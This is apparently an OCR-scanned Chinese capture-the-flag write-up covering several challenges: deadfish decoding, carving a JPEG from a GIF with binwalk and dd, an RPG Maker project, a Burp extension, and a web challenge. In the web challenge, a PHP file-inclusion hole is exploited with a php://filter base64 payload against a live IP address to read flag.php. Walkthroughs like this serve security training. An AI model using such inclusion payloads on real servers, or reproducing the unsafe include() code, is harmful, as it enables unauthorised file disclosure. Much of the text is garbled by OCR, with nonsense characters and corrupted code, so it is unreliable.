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2. hint: English & Google (very easy, do not think too much) & &/ZE 5 EYCR T ik KK Eid L EARIZE AL, TI1ETTA
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4. =4 Rdeadfish code ¥, "LL

K BULE 28/ 5% W 3% (deadfish decode)  ((https://www.dcode fr/deadfish-language)
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~# cd B R
# binwalk jsban.gif

HEXADECIMAL DESCRIPTION

GIF image data, version "89a", 40 x 40
OxFD3 JPEG image data, JFIF standard 1.01
4081 OxFF1 TIFF image data, big-endian, offset of first image
directory: B

+1
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RO EipegB A, MA051mBEIFIER 5 —Kipeg
dd ifsjsban.gif of=j.jpg skip=4051 bs=1
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w4 dd if=Eao8fERE.jpg of=0BHFNEFE.jpg skip={8#EE bs=1
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#nd: binwalk -e BREEE
foremost5 &

&4 foremost ERHEIE #2EERENIIES FERE—outputhiiE®E, MEIIERA T,
ddo5E

2 dd IF=E5E0EAE.jpg of=5EHFENEFE.Jpg skip={EHEE bs=1
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J& R I.rxproj 3L

- Data 2019/11/18 23:09  30{g3E

L Game.exe 2004/6/250:00  RiFEER

oﬁ Game.ini 2019/10/7 19:29 BEERE

1 Game.rxproj 2008/1/31 20:31 RXPROJ 3%
rgssad sp.log 2019/11/18 23:09 330

SR J5 F rpgmaker#] FF Game.rxproj3C 44,

B rroject1 - RPG Maker XP
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1. K jarsc 45 Aburp

Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner I Intruder I Repeater T Sequencer I Decoder I Compargr ]' Extender I Hroject options I User options Tf-\lerts ]

J Extensions T BApp Store IAF’IS T Options ]

Fxtensions let you customize Burp's behavior using your own or third-party code.

|  Add ||| Loaded Type Mame

|. W Java Syc welcome youlll Happy gamellllil!
| Remaove |
LY

| Down |

[ Details I Output I Errors ]

() Output to system console

() Save to file: | Selectfile ... |

® Show in UI-

Before | give you the flag, | want to tell you something about BurpExtender.

Burp looks for a class called BurpExtender to instantiate (with no constructor parameters) and then calls registerExtenderCallbacks() on this object passing in a "callbacks’

me

Think of this as the entrypoint for your extension, allowing you to tell Burp what your extension is capable of, and when Burp should ask your exiension questions.

flag?Eerror

HEMARTIERE, WEFZTHlagXhk, 777153 /flag

F12B RS R I— /N8, 17T

or
br
p style="font-family:arial;color:red;font-size:20px;text-align: cente
EANETLASTR, ETE B —NEEAE T </p
a id="master” hreff"_/Archive room.php’] style="background-color :#29¢
height:70px;width: 28epeseotor—ttecks=t: 44%; cursor:default; ">0h! You
me</a> == 38
P odiv style="position: absolute;bottom: @;width: 99%;">.</div
/body
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M Secretfgr
FiBurpSuite3l42, Send to repeate -> GO

[ Raw T Headers I Hex ]

J Raw T Headers [ Hex I HTML T Render ]

GET fArchive_room.php HTTR/1.1
FTUST T S TR U UL
Pragma: no-cache
Cache-Contral: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, xB64) AppleWebKit/537.36 (KHTNL,
like Gecko) Chrome/72.0.3626.121 Safari/s37.36

Accept:

text/html application/xhtml+xml application/xml; q=0.9 imagefwebp imagefapng,*™;q=0.8
Accept-Language: zh-CN zh;q=09

Connection: close

LS

— L | 1

<head>
<meta charset="utf-8">
<title># 84 <fitle>
<fhead>

<hody
style="background-color.black;"=<br><hr><brz=<hrz<hr><hr=

<h
style="font-family:verdana; colorred;text-align:center; "

PFARAL R T, REE IR <hr>

<fhl=<brz<hrz<bre<brz<br><br=

<a id="maste|" href="./action.php"
style="background-color:red; height:5U0px; width: 200px; color#FF

FFFF;left:44%;"=>
<font size=6>SECRET</font>
<fa=
<div style="position: absolute;bottom: O;width: 99%;"><p
align="center" style="font:italic 15px
Georgia, serif,colorwhite; "> Syclover @ cldy</p=</div=
<f/body=>

<fhtml=

1 1 1 1 ] ]

j&f Jaction.php HTTR/,
Hoft: 118.25.14.40:8106
Pragma: no-cache
Cache-Control: no-cache
|Upgrade-Insecure-Requests: 1
u‘User—!—‘xgent: Mozilla/5.0 (Windows NT 10.0; Wing4, x64) AppleWebkKit/537 .36 (KHTML,
like Gecko) Chrome/72.0.3626.121 Safar/537.36
® Accept:
text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng,*™;q=0.8
Accept-Language: zh-CN,zh;q=0.9
:EF‘ Connection: close

o

tr

HTTF/1.1 302 Found

Server: nginx/1.14.2

Date: Mon, 25 Moy 2019 14:55:51 GMT
Content-Type: text/html, charset=UTF-8
Connection: close

¥-Powered-By: PHP/7.3.5

Location: end.php

Content-Length: B3

e

<IDOCTYPE html=>

<html=
|-
secr3t. php
-
z/html=

@ &2 | 118.25.14.40:810p/secr3t.php

|

<titlersecretd/title>
<meta charset="UTF-8">

highlight_file(_FILE_ J;

error_reporting(0);

$£i1e=3_GET[ file’ ];

if(strstr($tile, “. . /%) | |stristr ($£ile,
echo “Oh no!”;

“tp”) | |stristr(§file, “input”) | |stristr ($£ile, “data”)) {



exit();
}
includei$file);
J/f1agfTfE T flag. phpE
Fp

<html>

% RPHPOY MY, filterfii i 9 https://blog.csdn.net/nzjdsds/article/details/82461043

0x01 php://filter

php//filter 2—FhTEEEsE, AT TTNNESIERAE, XTF—at (all-in-one) MNFREHFEEA, %
B4 readfile(). file() #0 file_get contents(), FEUIRRATIZEZ iR EN =N IEMITEES.

——php.net

BEplR ER AT fThase644815, 400

php://filter/read=convert.base64-encode/resource=file:///

BILUZRSMIYIREE (FrTaR/4ih/E48/ )

ERETIERORS:

@ AF2 | 118.25.14.40:8106/secr3t.php?file=php://filter/read=convert base64-encode/resource=flag.php

| Y
<html>
<titlersecret{/title>
<meta charset="UTF-8">
<Tphp
highlight_file(_FILE J;
error_reporting(0) ;
$tile=§ GET[ £ile’],
if(strstr($tile, .. /)| [stristr(3£ile, “tp”)||stristr($file, “input”) ||stristr($tils, “data”I) {
echo “Oh no!”;
exitl);

_include($file)
//E1ag MR T flag. phpE
>

</html>
PCFETONUWVBFIGhObWw +Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICABLWYOYSBjaGFyc2VOPS)1dGYtOCI+CiAgICAgICAgPHRpdGXIPkZMQUe8L3RpdGxIPgoglCAgPC90ZWFkPgoKICAgIL

Base64fi#i:

<h1 style="font-family:verdana;color:red;text-
align:center;">a00300iv0& % a03%a0°%°=e00400(%0a0 =0 &' ¢00& 0a0°=00QAQ
~rv < fR1><br><br><br>

<p style="font-family:arial;color:red;font-size: 20px;text-align:center;" >
<?php
echo "ae008°+80 " &c0600";
sflag = 'Syc{Jiang_1luYuan_No_I}|;
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